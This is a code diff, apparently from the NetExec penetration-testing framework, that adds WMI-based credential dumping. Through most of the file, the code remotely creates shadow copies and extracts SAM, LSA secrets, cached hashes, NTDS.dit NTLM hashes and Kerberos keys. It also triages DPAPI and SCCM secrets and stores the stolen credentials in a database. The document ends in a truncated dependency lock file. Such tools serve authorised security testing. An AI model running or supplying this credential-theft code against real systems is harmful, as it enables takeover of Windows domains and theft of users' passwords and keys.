not self.get_file_single(lsa_hive_path, f"{output_filename}.security"): + self.logger.fail("Could not get LSA hive") + return + + LSA = LSASecrets( + f"{output_filename}.security", + bootkey, + None, + isRemote=None, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) + if not quiet: + self.logger.display("Dumping LSA secrets") + LSA.dumpCachedHashes() + LSA.exportCached(output_filename) + LSA.dumpSecrets() + LSA.exportSecrets(output_filename) + if not quiet: + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}") + + @requires_admin + def ntds(self): + printed_kerb_keys_banner = False + + def add_hash(secret_type, secret): + nonlocal printed_kerb_keys_banner + if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: + self.logger.display("Kerberos keys:") + printed_kerb_keys_banner = True + + # Count the type of secrets + if secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: + add_hash.kerb_secrets += 1 + else: + add_hash.nt_lm_secrets += 1 + + # Log the secret based on args + if self.args.enabled: + if "Enabled" in secret: + secret = " ".join(secret.split(" ")[:-1]) + self.logger.highlight(secret) + else: + secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret + self.logger.highlight(secret) + + # Filter out computer accounts, history hashes and kerberos keys for adding to db + if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret: + if secret.find("\\") != -1: + _, clean_hash = secret.split("\\") + else: + clean_hash = secret + + try: + username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") + parsed_hash = f"{lmhash}:{nthash}" + if validate_ntlm(parsed_hash): + add_hash.added_to_db += 1 + return + raise + except Exception: + self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") + else: + self.logger.debug("Dumped hash is a computer account, not adding to db") + + add_hash.nt_lm_secrets = 0 + add_hash.kerb_secrets = 0 + add_hash.added_to_db = 0 + + output_filename = self.output_file_template.format(output_folder="ntds") + + bootkey = self.remote_ops.get_bootkey(output_filename) + if bootkey is None: + return + + # Get the NTDS.dit file + ntds_file = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit" + if not self.get_file_single(ntds_file, f"{output_filename}.ntds.dit"): + self.logger.fail("Could not download NTDS.dit file") + return + + NTDS = NTDSHashes( + f"{output_filename}.ntds.dit", + self.remote_ops.bootkey, + isRemote=False, + history=self.args.history, + noLMHash=True, + justNTLM=not self.args.kerberos_keys, + useVSSMethod=True, + remoteOps=None, + pwdLastSet=False, + resumeSession=None, + outputFileName=f"{output_filename}.ntds", + justUser=self.args.userntds if self.args.userntds else None, + printUserStatus=True, + perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret), + ) + + try: + self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") + NTDS.dump() + ntds_outfile = f"{output_filename}.ntds" + self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile}") + if self.args.kerberos_keys: + self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos") + self.logger.display("To extract only enabled accounts from the output file, run the following command: ") + self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") + except Exception as e: + self.logger.fail(e) + @requires_admin def wmi_query(self, wql=None, namespace=None, callback_func=None): records = [] @@ -375,8 +675,7 @@ def wmi_query(self, wql=None, namespace=None, callback_func=None): namespace = self.args.wmi_namespace try: - iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) - self.iWbemLevel1Login.RemRelease() + iWbemServices = self.get_namespace(namespace) iEnumWbemClassObject = iWbemServices.ExecQuery(wql) except Exception as e: self.logger.debug(str(e)) @@ -410,7 +709,7 @@ def callback_func(iEnumWbemClassObject, records): record = dict(wmi_results.getProperties()) records.append(record) - snapshots = self.wmi_query(wql=wql, namespace="root\\cimv2", callback_func=callback_func) + snapshots = self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) if not snapshots: self.logger.info("No volume shadow copies found.") return @@ -444,7 +743,8 @@ def execute(self, command=None, get_output=False, use_powershell=False): self.iWbemLevel1Login, self.logger, self.args.exec_timeout, - self.args.codec + self.args.codec, + self.get_namespace("//./root/cimv2") ) elif self.args.exec_method == "wmiexec-event": exec_method = wmiexec_event.WMIEXEC_EVENT( @@ -452,7 +752,8 @@ def execute(self, command=None, get_output=False, use_powershell=False): self.iWbemLevel1Login, self.logger, self.args.exec_timeout, - self.args.codec + self.args.codec, + self.get_namespace("//./root/subscription") ) output = exec_method.execute(command, get_output, use_powershell=use_powershell) @@ -484,3 +785,50 @@ def execute_psh(self, command=None, get_output=False): return output else: return output + + def get_namespace(self, namespace: str) -> IWbemServices: + """Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache""" + if namespace in self.namespaces: + return self.namespaces[namespace] + self.logger.debug(f"Getting namespace {namespace}") + try: + iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) + self.iWbemLevel1Login.RemRelease() + except Exception as e: + self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}") + return None + self.namespaces[namespace] = iWbemServices + return self.namespaces[namespace] + + @property + def remote_ops(self): + if self._remote_ops is None: + self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id) + return self._remote_ops + + @requires_admin + def sccm(self): + self.dpapi_triage.triage_sccm() + + @requires_admin + def dpapi(self): + self.dpapi_triage.triage_dpapi() + + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + address=self.remoteName, + lmhash=self.lmhash, + nthash=self.nthash, + do_kerberos=self.kerberos, + aesKey=self.aesKey, + use_kcache=self.use_kcache, + ) + + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage diff --git a/nxc/protocols/wmi/database.py b/nxc/protocols/wmi/database.py index fdf3f720cf..ef54caba10 100644 --- a/nxc/protocols/wmi/database.py +++ b/nxc/protocols/wmi/database.py @@ -1,25 +1,35 @@ -from sqlalchemy import Column, Integer, PrimaryKeyConstraint, String +import base64 + +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_ +from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.orm import declarative_base from nxc.database import BaseDB +from nxc.logger import nxc_logger Base = declarative_base() class database(BaseDB): def __init__(self, db_engine): - self.CredentialsTable = None + self.UsersTable = None self.HostsTable = None + self.DpapiBackupkeyTable = None + self.DpapiSecretsTable = None super().__init__(db_engine) - class Credential(Base): - __tablename__ = "credentials" + class User(Base): + __tablename__ = "users" id = Column(Integer) + domain = Column(String) username = Column(String) password = Column(String) + credtype = Column(String) + pillaged_from_hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), + ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]), ) class Host(Base): @@ -33,10 +43,304 @@ class Host(Base): PrimaryKeyConstraint("id"), ) + class DpapiSecret(Base): + __tablename__ = "dpapi_secrets" + id = Column(Integer) + host = Column(String) + dpapi_type = Column(String) + windows_user = Column(String) + username = Column(String) + password = Column(String) + url = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"), + ) + + class DpapiBackupKey(Base): + __tablename__ = "dpapi_backupkey" + id = Column(Integer) + domain = Column(String) + pvk = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("domain"), + ) + @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) def reflect_tables(self): - self.CredentialsTable = self.reflect_table(self.Credential) + self.UsersTable = self.reflect_table(self.User) self.HostsTable = self.reflect_table(self.Host) + self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret) + self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey) + + def add_host(self, ip, hostname, port): + """Check if this host has already been added to the database, if not, add it in.""" + hosts = [] + updated_ids = [] + + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) + results = self.db_execute(q).all() + + # create new host + if not results: + new_host = { + "ip": ip, + "hostname": hostname, + "port": port, + } + hosts = [new_host] + # update existing hosts data + else: + for host in results: + host_data = host._asdict() + # only update column if it is being passed in + if ip is not None: + host_data["ip"] = ip + if hostname is not None: + host_data["hostname"] = hostname + if port is not None: + host_data["port"] = port + if host_data not in hosts: + hosts.append(host_data) + updated_ids.append(host_data["id"]) + nxc_logger.debug(f"Update Hosts: {hosts}") + + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns) + + self.db_execute(q, hosts) # .scalar() + # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted + if updated_ids: + nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") + return updated_ids + + def add_credential(self, credtype, domain, username, password, pillaged_from=None): + """Check if this credential has already been added to the database, if not add it in.""" + credentials = [] + + if pillaged_from and not self.is_host_valid(pillaged_from): + nxc_logger.debug("Invalid host") + return + + q = select(self.UsersTable).filter( + func.lower(self.UsersTable.c.domain) == func.lower(domain), + func.lower(self.UsersTable.c.username) == func.lower(username), + func.lower(self.UsersTable.c.credtype) == func.lower(credtype), + ) + results = self.db_execute(q).all() + + # add new credential + if not results: + new_cred = { + "credtype": credtype, + "domain": domain, + "username": username, + "password": password, + "pillaged_from": pillaged_from, + } + credentials = [new_cred] + # update existing cred data + else: + for creds in results: + # this will include the id, so we don't touch it + cred_data = creds._asdict() + # only update column if it is being passed in + if credtype is not None: + cred_data["credtype"] = credtype + if domain is not None: + cred_data["domain"] = domain + if username is not None: + cred_data["username"] = username + if password is not None: + cred_data["password"] = password + if pillaged_from is not None: + cred_data["pillaged_from"] = pillaged_from + # only add cred to be updated if it has changed + if cred_data not in credentials: + credentials.append(cred_data) + + # TODO: find a way to abstract this away to a single Upsert call + q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) + update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} + q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) + nxc_logger.debug(f"Adding credentials: {credentials}") + + self.db_execute(q_users, credentials) # .scalar() + + def remove_credentials(self, creds_id): + """Removes a credential ID from the database""" + self.db_execute(delete(self.UsersTable).where(self.UsersTable.c.id.in_(creds_id))) + + def is_credential_valid(self, credential_id): + """Check if this credential ID is valid.""" + q = select(self.UsersTable).filter( + self.UsersTable.c.id == credential_id, + self.UsersTable.c.password is not None, + ) + results = self.db_execute(q).all() + return len(results) > 0 + + def get_credentials(self, filter_term=None, cred_type=None): + """Return credentials from the database.""" + # if we're returning a single credential by ID + if self.is_credential_valid(filter_term): + q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) + elif cred_type: + q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) + # if we're filtering by username + elif filter_term and filter_term != "": + like_term = func.lower(f"%{filter_term}%") + q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) + # otherwise return all credentials + else: + q = select(self.UsersTable) + + return self.db_execute(q).all() + + def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None): + """Return credentials for a list of users from the database.""" + if cred_type: + q = select(self.UsersTable).filter( + self.UsersTable.c.credtype == cred_type, + and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])) + ) + else: + q = select(self.UsersTable).filter( + or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]) + ) + + return self.db_execute(q).all() + + def get_credential(self, cred_type, domain, username, password): + q = select(self.UsersTable).filter( + self.UsersTable.c.domain == domain, + self.UsersTable.c.username == username, + self.UsersTable.c.password == password, + self.UsersTable.c.credtype == cred_type, + ) + results = self.db_execute(q).first() + return results.id + + def is_host_valid(self, host_id): + """Check if this host ID is valid.""" + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) + results = self.db_execute(q).all() + return len(results) > 0 + + def add_domain_backupkey(self, domain: str, pvk: bytes): + """ + Add domain backupkey + :domain is the domain fqdn + :pvk is the domain backupkey + """ + q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + if not len(results): + pvk_encoded = base64.b64encode(pvk) + backup_key = {"domain": domain, "pvk": pvk_encoded} + try: + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id) + + self.db_execute(q, [backup_key]) # .scalar() + nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})") + except Exception as e: + nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") + + def get_domain_backupkey(self, domain: str | None = None): + """ + Get domain backupkey + :domain is the domain fqdn + """ + q = select(self.DpapiBackupkeyTable) + if domain is not None: + q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}") + + if len(results) > 0: + results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results] + return results + + def is_dpapi_secret_valid(self, dpapi_secret_id): + """ + Check if this DPAPI secret ID is valid. + :dpapi_secret_id is a primary id + """ + q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) + results = self.db_execute(q).first() + valid = results is not None + nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}") + return valid + + def add_dpapi_secrets( + self, + host: str, + dpapi_type: str, + windows_user: str, + username: str, + password: str, + url: str = "", + ): + """Add dpapi secrets to nxcdb""" + secret = { + "host": host, + "dpapi_type": dpapi_type, + "windows_user": windows_user, + "username": username, + "password": password, + "url": url, + } + q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id) + + self.db_execute(q, [secret]) # .scalar() + + nxc_logger.debug( + f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") + + def get_dpapi_secrets( + self, + filter_term=None, + host: str | None = None, + dpapi_type: str | None = None, + windows_user: str | None = None, + username: str | None = None, + url: str | None = None, + ): + """Get dpapi secrets from nxcdb""" + q = select(self.DpapiSecretsTable) + + if self.is_dpapi_secret_valid(filter_term): + q = q.filter(self.DpapiSecretsTable.c.id == filter_term) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif host: + q = q.filter(self.DpapiSecretsTable.c.host == host) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif dpapi_type: + q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type)) + elif windows_user: + like_term = func.lower(f"%{windows_user}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif username: + like_term = func.lower(f"%{username}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif url: + q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") + return results diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index 936a43c76e..a1ed759d76 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -1,3 +1,7 @@ +from argparse import _StoreTrueAction +from nxc.helpers.args import get_conditional_action + + def proto_args(parser, parents): wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents) wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") @@ -10,12 +14,33 @@ def proto_args(parser, parents): dgroup.add_argument("--local-auth", action="store_true", help="Authenticate locally to each target") cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering") + cred_gathering_group.add_argument("--dpapi", choices={"cookies"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") + cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems") + cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") + cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") + cred_gathering_group.add_argument("--use-snapshot-id", action="store", dest="shadow_id", help="Use an existing VSS snapshot ID for SAM, LSA and/or NTDS dump") + cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") + cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") + cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs") + ntds_arg = cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs") + cred_gathering_group.add_argument("--history", action="store_true", help="Also retrieve password history (NTDS.dit or SAM)") + # NTDS options + kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)") + exclusive = cred_gathering_group.add_mutually_exclusive_group() + enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)") + kerb_keys_arg.make_required = [ntds_arg] + enabled_arg.make_required = [ntds_arg] + cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") egroup = wmi_parser.add_argument_group("Mapping/Enumeration") egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query") egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", type=str, default="root\\cimv2", help="WMI Namespace (default: %(default)s)") + files_group = wmi_parser.add_argument_group("File Operations") + files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") + files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") + cgroup = wmi_parser.add_argument_group("Command Execution") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cgroup.add_argument("-x", metavar="COMMAND", dest="execute", type=str, help="Creates a new cmd process and executes the specified command with output") diff --git a/nxc/protocols/wmi/remoteops.py b/nxc/protocols/wmi/remoteops.py new file mode 100644 index 0000000000..fc1d350f77 --- /dev/null +++ b/nxc/protocols/wmi/remoteops.py @@ -0,0 +1,87 @@ +from binascii import hexlify + +from impacket.examples.secretsdump import LocalOperations + + +class RemoteOperations: + def __init__(self, connection, shadow_id=None): + self.connection = connection + + self.cimv2_namespace = self.connection.get_namespace("//./root/cimv2") + + # Cached variables + self.bootkey = None + if shadow_id is not None: + self.connection.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}") + self._shadow_id = shadow_id + self._shadow_copy_path = None + + # Keep track if we created a Shadow Copy to delete it later + self.shadow_copy_created = False + + def __del__(self): + # If we created a Shadow Copy, delete it + if self.shadow_copy_created: + wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"' + self.connection.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}") + ret = self.cimv2_namespace.DeleteInstance(wmiPath) + if (ret.GetCallStatus(0) & 0xffffffff) != 0: + self.connection.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.") + else: + self.connection.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted") + + def create_shadowcopy(self) -> str: + # Creating Shadow Volumes + shadow_id = None + try: + win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy") + self.connection.logger.debug("Trying to create SS remotely via WMI") + result = win32_shadow_copy.Create("C:\\", "ClientAccessible") + self.shadow_copy_created = True + shadow_id = result.ShadowID + self.connection.logger.debug(f"Shadow Copy created at ID {shadow_id}") + except Exception as e: + self.connection.logger.fail(f"Cannot create ShadowCopy: {e}") + return shadow_id + + def get_shadowcopy_path(self, shadow_id=None) -> str: + if shadow_id is None: + shadow_id = self.shadow_id + device_object = None + try: + iEnum_shadow_copies = self.cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') + obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] + props = obj.getProperties() + shadow_copy = {k: v["value"] for k, v in props.items()} + device_object = shadow_copy["DeviceObject"] + self.connection.logger.debug(f"Found ShadowCopy at {device_object}") + except Exception as e: + self.connection.logger.fail(f"Cannot find ShadowCopy with ID {shadow_id} :{e}") + return device_object + + @property + def shadow_id(self): + if self._shadow_id is None: + self._shadow_id = self.create_shadowcopy() + return self._shadow_id + + @property + def shadow_copy_path(self): + if self._shadow_copy_path is None: + self._shadow_copy_path = self.get_shadowcopy_path() + return self._shadow_copy_path + + def get_bootkey(self, output_filename): + if self.bootkey is not None: + return self.bootkey + + system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM" + system_hive_recovered = self.connection.get_file_single(system_hive_path, f"{output_filename}.system") + if system_hive_recovered: + self.connection.logger.debug("Got SYSTEM hive") + local_operations = LocalOperations(f"{output_filename}.system") + self.bootkey = local_operations.getBootKey() + self.connection.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}") + else: + self.connection.logger.fail("Could not get bootkey") + return self.bootkey diff --git a/nxc/protocols/wmi/wmiexec.py b/nxc/protocols/wmi/wmiexec.py index b6a505fb9c..7c517b7f16 100644 --- a/nxc/protocols/wmi/wmiexec.py +++ b/nxc/protocols/wmi/wmiexec.py @@ -1,4 +1,4 @@ -# Author: xiaolichan # noqa: ERA001 +# Author: xiaolichan # ruff: ignore[commented-out-code] # Link: https://github.com/XiaoliChan/wmiexec-RegOut/blob/main/wmiexec-regOut.py # Note: windows version under NT6 not working with this command execution way # https://github.com/XiaoliChan/wmiexec-RegOut/blob/main/wmiexec-reg-sch-UnderNT6-wip.py -- WIP @@ -21,7 +21,7 @@ class WMIEXEC: - def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): + def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace=None): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.logger = logger @@ -32,8 +32,10 @@ def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): self.__pwd = "C:\\" self.__codec = codec - self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) - self.__iWbemLevel1Login.RemRelease() + self.__iWbemServices = cimv2_namespace + if self.__iWbemServices is None: + self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) + self.__iWbemLevel1Login.RemRelease() self.__win32Process, _ = self.__iWbemServices.GetObject("Win32_Process") def execute(self, command, output=False, use_powershell=False): diff --git a/nxc/protocols/wmi/wmiexec_event.py b/nxc/protocols/wmi/wmiexec_event.py index dd4bc81fd9..0684e34dde 100644 --- a/nxc/protocols/wmi/wmiexec_event.py +++ b/nxc/protocols/wmi/wmiexec_event.py @@ -1,4 +1,4 @@ -# Author: xiaolichan # noqa: ERA001 +# Author: xiaolichan # ruff: ignore[commented-out-code] # Link: https://github.com/XiaoliChan/wmiexec-Pro # Note: windows version under NT6 not working with this command execution way, it need Win32_ScheduledJob. # https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/modules/exec_command.py @@ -30,7 +30,7 @@ class WMIEXEC_EVENT: - def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): + def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace=None): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.__outputBuffer = "" @@ -41,8 +41,10 @@ def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): self.__instanceID = f"windows-object-{uuid.uuid4()!s}" self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}" - self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) - self.__iWbemLevel1Login.RemRelease() + self.__iWbemServices = subscription_namespace + if self.__iWbemServices is None: + self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) + self.__iWbemLevel1Login.RemRelease() def execute(self, command, output=False, use_powershell=False): if "'" in command: diff --git a/poetry.lock b/poetry.lock new file mode 100644 index 0000000000..5afb0a4154 --- /dev/null +++ b/poetry.lock @@ -0,0 +1,2963 @@ +# This file is automatically @generated by Poetry 2.5.1 and should not be changed by hand. + +[[package]] +name = "aardwolf" +version = "0.2.16" +description = "Asynchronous RDP protocol implementation" +optional = false +python-versions = ">=3.11" +groups = ["main"] +files = [ + {file = "aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7"}, + {file = "aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259"}, + {file = "aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6"}, + {file = "aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2"}, +] + +[package.dependencies] +arc4 = ">=0.3.0" +asn1crypto = "*" +asn1tools = "*" +asyauth = ">=0.0.16" +asysocks = ">=0.2.9" +colorama = "*" +Pillow = ">=9.0.0" +pyperclip = ">=1.8.2" +tqdm = "*" +unicrypto = ">=0.0.11" + +[[package]] +name = "aesedb" +version = "0.1.8" +description = "NTDS parser toolkit" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "aesedb-0.1.8-py3-none-any.whl", hash = "sha256:e6a3bc77ab9187d79cfeca27620ae21e331ebb66f5ea9254a136e3e29dd8b23a"}, +] + +[package.dependencies] +aiowinreg = ">=0.0.13" +colorama = "*" +tqdm = "*" +unicrypto = ">=0.0.12" + +[[package]] +name = "aiosmb" +version = "0.4.14" +description = "Asynchronous SMB protocol implementation" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "aiosmb-0.4.14-py3-none-any.whl", hash = "sha256:613e6ffc4f2c1d56e48e69943064946403a5c12d43198d9d556e4b04912c0f60"}, + {file = "aiosmb-0.4.14.tar.gz", hash = "sha256:4a8eaefac5fb10e1088eb61e8df58aff3fe61fd6f11ce72efd8a6317555f02c3"}, +] + +[package.dependencies] +asn1crypto = "*" +asyauth = ">=0.0.23" +asysocks = ">=0.2.18" +colorama = "*" +cryptography = "*" +prompt-toolkit = ">=3.0.2" +six = "*" +tqdm = "*" +unicrypto = ">=0.0.12" +wcwidth = "*" +winacl = ">=0.1.9" + +[[package]] +name = "aiowinreg" +version = "0.0.13" +description = "Windows registry file reader" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "aiowinreg-0.0.13-py3-none-any.whl", hash = "sha256:2e0809f05d62337cb2218d11dcf7ee08eb8c319382dd564293425f03cd332c9b"}, +] + +[package.dependencies] +prompt-toolkit = ">=3.0.2" +winacl = ">=0.1.9" + +[[package]] +name = "annotated-types" +version = "0.8.0" +description = "Reusable constraint types to use with typing.Annotated" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "annotated_types-0.8.0-py3-none-any.whl", hash = "sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0"}, + {file = "annotated_types-0.8.0.tar.gz", hash = "sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7"}, +] + +[[package]] +name = "anyio" +version = "4.14.2" +description = "High-level concurrency and networking framework on top of asyncio or Trio" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494"}, + {file = "anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f"}, +] + +[package.dependencies] +idna = ">=2.8" +typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} + +[package.extras] +trio = ["trio (>=0.32.0)"] + +[[package]] +name = "arc4" +version = "0.5.0" +description = "A small and insanely fast ARCFOUR (RC4) cipher implementation of Python" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "arc4-0.5.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2a052f9934746d81917032a4f37b390577141c56b4445c7f85c52b1155fdbf9f"}, + {file = "arc4-0.5.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:83a1f1934c55256838aa40998b87777f881e81c2056af9734cdb35a84574488c"}, + {file = "arc4-0.5.0-cp310-cp310-win_amd64.whl", hash = 